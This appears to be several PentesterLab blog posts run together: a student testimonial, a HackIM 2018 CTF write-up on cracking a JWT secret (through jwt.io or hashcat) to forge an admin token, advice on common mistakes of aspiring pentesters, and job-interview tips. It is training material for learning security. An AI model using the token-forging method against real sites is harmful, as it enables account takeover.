Today, I am a fast track student of the School of Information Systems at Singapore Management University, and will be pursuing my Masters in Information Security at Carnegie Mellon University. PentesterLab was invaluable in my roles when I was an intern at a consultancy (in their cyber security advisory department) and as a security researcher in a government agency in Singapore. I am also currently OSCP/OSCE certified. Because of what PentesterLab did for the community, I was inspired to do my own part — I organised a bunch of CTFs in Singapore, one for high school students (WhiteHacks@SG) and another for university students (CrossCTF 2017). I have also managed to contribute back to the tools I am using (I was a Nmap contributor last summer).

How did you come across PentesterLab PRO?

I was very fortunate that my alma mater had the foresight to enrol for several slots in PentesterLab PRO. I took advantage of the opportunity (having done some of the labs previously) and was surprised to see the content available. What really struck me was the quality of the content and how real world the exploits were — these were real CVEs — and from experience it takes a long time to set up systems like this to play with, so I really appreciated the resource! Furthermore, each exercise came with a guide so if you got lost you could just follow the guide to get back on track.

What have been your favourite exercises so far?

I particularly liked the Man-in-the-Middle exercises in PentesterLab PRO, which is something I have never played before and I was pleasantly surprised that an exploit like this can be done and taught over the cloud!

Do you do bug bounty? and if yes, did PentesterLab help you?

I currently don’t do bug bounty due to other time commitments, but with PentesterLab I am definitely confident to start!

What exercises/areas do you think PentesterLab should cover in the future?

I would really love it if PentesterLab covered more on enterprise network penetration testing — practicing how to pivot across different networks and learning more about how to exploit the Active Directory environment in Windows Servers!

Where can people follow your progress?

You can find me on Twitter — @waituckk

The HackIM 2018/NullCon CTF just wrapped up. PentesterLab wrote 3 challenges for this CTF:

• “JWT V” (web4) worth 200 points
• “JWT VI” worth 400 points
• “CBC-MAC” worth 200 points

Few people complained about JWT V being too hard. More specifically there was too much guessing involved. This was a big surprised as this challenge seems pretty easy. And I also hate challenges with a lot of guessing, so I avoid creating them. Unfortunately, I only got to speak to few people at the end as I was travelling. Fortunately, this was enough for me to realise where the main problem lies: few people had a very slow feedback loop when trying to brute force

Disclaimer: The goal of this write-up is only to highlight the different ways to solve this specific challenge. A lot of people playing CTF are doing it to learn and it’s completely normal to struggle when trying to solve challenges. I thought this specific example was really interesting (especially since everything could be done without writing any code) and that’s why I decided to write about it.

The challenge

This challenge was inspired by the hacker movie Sneakers.

The index page of the challenge looked like this:

And accessing the page was giving you this response:

The hints

Without the hints just looking for “Setec Astronomy” (text visible in the page) should have give people a good idea of what part was supposed to be guessed.

The following hints were available:

• a Youtube video:
• a Tweet:

  Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080: https://t.co/Ragnt3wv42

  — hashcat (@hashcat) January 21, 2018

The slow way

When discussing with people, I found out that few people were doing the following to solve this challenge:

1. go to https://jwt.io
2. paste the token provided
3. change the token to set the username to admin
4. change the secret
5. modify the cookie in their browser
6. reload the page

With this method to test another secret, you need to go through steps #4, #5 and #6. This is pretty slow and very time consuming. You need to change windows, copy/paste data around (always error-prone), wait for the server to respond (can takes time during a CTF if someone else is brute-forcing it)…

Obviously, some people were using variations of this (like using curl instead of their browsers).

The faster way

The interesting part here, is that the process to be way quicker isn’t that different:

1. Go to https://jwt.io
2. Paste the token provided
3. Change the secret
4. Check if the site displays signature verified

With this option, you only need to do step #3 and #4 to test another secret. Furthermore, the site does it automatically for you.

1. Change the token to set the username to admin
2. Modify the cookie in your browser
3. Reload the page

Assumptions

I was also surprised that few people didn’t expect that the secret could contain spaces… Never make assumptions!

Even faster

Obviously, writing code or using Hashcat would have been faster. You could also have used a tool written by one of PentesterLab PRO subscribers (https://github.com/ticarpi/jwt_tool).

Conclusion

When working on a CTF challenge, if you find yourself struggling too much on a challenge that is supposed to be easy, ask yourself:

I’m doing it the right way, or could I find an faster way?

If you can get a quick feedback loop when testing something, you will be way faster!

At PentesterLab, we have been helping thousands of people become pentesters or better pentesters:

1. with PentesterLab PRO offering for students/individuals/enterprises
2. with our free Boot Camp
3. with our awesome free content
4. answering emails on career choices, debugging payloads,…
5. running trainings and doing talks at conferences
6. ...

From that, we put together the common mistakes aspiring pentesters make.

Only reading books

Don’t get us wrong, books are great. The problem is that a lot of people focus on reading books instead of gaining real hands-on experience. You can’t read about a bug class and expect to know about it. You need to see how the server responds, what happens if you try different payloads, how to debug your payloads. This is the only way to progress and to gain real understanding of security issues.

Practice makes perfect

Kali everything

Another very surprising misconception is that you need this kind of magic “HACKING COMPUTER” to perform pentesting/hacking. And you need to attack with your Kali system (directly or in a VM).

Kali is an extraordinaire potpourri of pentesting tools and is very handy when you get started for some tools that can be hard to install (especially Wifi drivers). However, you will probably be a lot more comfortable and efficient using your everyday OS and not jumping from your system to your “hacking VM” all the time. Especially if you are doing or learning web testing, you probably rarely need to use Kali. It’s also not always a good idea to run Kali as your main system as you will probably need to run other tools (productivity tools) that may be harder to get working on it (as opposed to a boring standard Linux distribution).

Kali everything

We get a lot of questions around payloads that didn’t work even if it did (visible thanks to our scoring system). Getting HTTP 500 errors doesn’t mean you didn’t successfully exploit the bug. Shellshock and a lot of serialisation issues are common example of bugs for which you will get code execution followed by a HTTP 500 error since the payload will trigger an unexpected behaviour.

“How can I make sure it’s not vulnerable”

When doing a blackbox test, aspiring/young pentesters always want to make sure a system is not vulnerable (“How do I know I didn’t miss something”). The truth is that you can never be 100% sure that a system is not vulnerable during a blackbox test. You will just make sure you run out of test cases to check if it was.

Spending too much time learning reversing/exploit writing instead of assessing systems, mobile and web

Reversing and writing exploits are amazing things to do and you should definitely look into these two domains. However, if you want to break into infosec and score your first job, you need to be good at web (and mobile and network to a lesser extend) security. Most pentesting companies have a lot of their workload composed of web testing and this is not going to change in the next few months. Furthermore, they also have seniors people who are dying to do more research and will probably have priority on all the reversing/exploit writing jobs. So if you want to increase your likelihood of getting hired, you need to become a gun at web pentesting.

The same thing applies to Bug Bounty, only few bounties require people to do reversing, most of them are web or mobile based.

And if you want to learn web security, no better place than PentesterLab ;)

Reading a lot of security news without going in depth

This one is actually for a lot of people. When you read security news, try to go in depth on at least one subject. If you read a CVE:

• Try to get a diff of the fix
• Try to exploit the issue
• Try to understand the root cause
• See if you can find a bug bounty program running the same application or with a similar issue.

Doing that once a week goes a long way.

You can stay a passive observer or become an active learner!

The same applies to conferences! After a conference, try to pick one talk and reproduce it.

Spending too much time building the perfect lab/laptop/…

Don’t waste time getting your perfect setup with a full network and multiple ESX servers as well as the perfect laptop. Just get started. It’s always easy to procrastinate and push back on what really matters. Don’t stay in your comfort zone. Just get started, start learning/hacking even if you don’t have the perfect setup. Truth is, there is no perfect setup and your needs will evolve over time with your work and research.

Not writing code/script…

Like you should expect a developer to know some security’s basics in 2018, you should expect a security engineers/pentesters to be able to write simple programs/scripts to perform basic tasks. As a tester, you need to automate stuff all the time. You need to be able to write small script:

• Write a small TCP client without too much search
• Parse a CSV file to extract a column without any Google search
• Send HTTP requests based on a previous script (for example)
• Write a decent size tool (as in more than 1k loc).
• How to use regular expression
• ...

Not reading code

To become a better tester, you need to read code. As a (web) pentester, half of your job is to understand what the source code on the server side looks like (for the client side, you often get the code). Guess what… reading a lot of code helps tremendously with that! You will also learn what mistakes people usually make. You can also read the code of your favourite tools to get a better understanding of their inner working as well as their limitations.

Learning 20 programming languages

It’s a common mistake to try to learn too many programming languages as well. Don’t get me wrong it’s a good idea to know a lot of them and their differences (especially to write web shell and for CTF). But before doing that, you need to learn at least one language pretty well.

• How to disable/enable certificate verification in this language
• Common mistakes you can make that introduces vulnerabilities
• Good resources about this language
• How to quickly patch some code to make something work

You should also understand (and be able to write) common programming patterns like:

• Running code in parallel (thread/fork/…)
• Publishing/consuming to a queue
• TCP and UDP client and server
• Reading data from STDIN.

Once you grasp harder concepts in one language, you will get a better understanding of common patterns and mistakes (vulnerabilities?) associated with those. This will help you find more bugs.

Finally, once you know one language well enough you can learn another one just by comparing it to the one you already know.

Conclusion

Hopefully, this list helped you a bit and you will avoid falling for some of these mistakes. The most important is to remember:

The only real mistake is the one from which we learn nothing — (Henri Ford or John Powell)

Since you now have the perfect resume, you probably land some interviews! We decided to put together some advices on how to manage these interviews.

First the obvious, look professional. Wear a suit (or at least smart casual), clean shoes, clean and ironed shirt.

You never get a second chance to make a first impression!

The first question your future employer will ask himself after seeing you is “Can I send this guy to my clients?”

If you make a good impression, your future employer/manager know that you will make the same good impression to their clients. That’s why you should always avoid swearing too.

You need to learn about the company (visit the company website, know the key people, when it was created, recent talks?).

I used to run interview with someone in charge of the “non-technical” aspect of the interview, his first question was always: “Why do you want to work for/with us?”. Quickly followed by: “Who are the key people in the company?”.

Far too often, people had no idea of who was working in the company or even what the name of the CEO was… way too many awkward silences during that part of the interview. You cannot afford this kind of mistake, it just makes you look unprofessional and unprepared. And someone less talented than you could get the job just by looking more prepared.

The technical interview

You think you’re smart and you are going to work something out the day you need it (using Google?) like you probably did for all your previous job? A good interviewer will ask you in-depth questions and won’t let you go with half-baked answers or bullshit… You need to know your stuff and you need to be able to show that you know your stuff . Don’t forget that people on the other side are pretty smart as well. They shouldn’t be the average managers you use to b*****it before with random buzzwords. They actually know what you are talking about and may even be better than you at it…

If you don’t know or you’re not sure: say it. When you work as a security professional, you will sometime say to your clients: “I will need to look it up and come back to you”. It’s the same in an interview. People want to know that you’re not a bullshit artist. Accept that you won’t know everything people will ask you. Use sentences like: “I’m not sure but I think this is how it works”. It will make a great difference.

I put together some of the questions you may get asked (based on the ones I like to ask):

• “You’re going to PentesterLab’s website, explain what happens…”. Here the interviewers want to see your knowledge of TCP/IP, DNS, HTTP, SSL, …
• “What is the latest cool exploit/tool you learned/read about”. This will tell the interviewer what you’re interested in and how deep you usually dig into something.
• “Explain me the risk of an XSS if I was a CEO”. Here the interviewers want to see if you can vulgarise complex concepts.
• Explain a TCP handshake
• How does Windows stored passwords?
• What is a cookie?
• Opinion on vulnerability disclosure?

Hands on interview

After realising that there was a huge gap between being able to explain a concept and actually being able to apply it, more and more companies moved from a tech interview to a tech interview followed by a hands-on interview. The goal is pretty simple here, you have a target and you need to show how you will test/attack it.

After the technical interview, another interview is setup with hands-on test (only if the person did good enough obviously), some companies even use PentesterLab Free Exercises.

Interviewers running hands-on interviews want to see the following:

• How fast you are with your computer. The faster you’re, the more testing you can do in a given amount of time.
• How do you solve a problem.
• How do you test for vulnerabilities.
• How do you exploit vulnerabilities.
• …

As an interviewee, I think it’s important to keep your calm and know what the interviewers are after. They don’t want you to be able to do everything in half an hour or write a crazy exploit. They want to see how you think, how you work, how you debug, if you take notes…

Obviously, you need to practice for this. Make sure you know how to find bugs and exploit them.

The pub interview

One of my favourite part of the interview is the “pub” interview. If things go well, it’s common to go to the pub with the interviewee to share few drinks. That’s a really good way for the interviewer to get the interviewee to drop his line of defence and see how he/she behaves in every day life.

The obvious advice is too behave nicely to other people in the bar (if you are not already doing that every day… you should):

“You can tell a lot about a person by the way he or she treats a waiter.”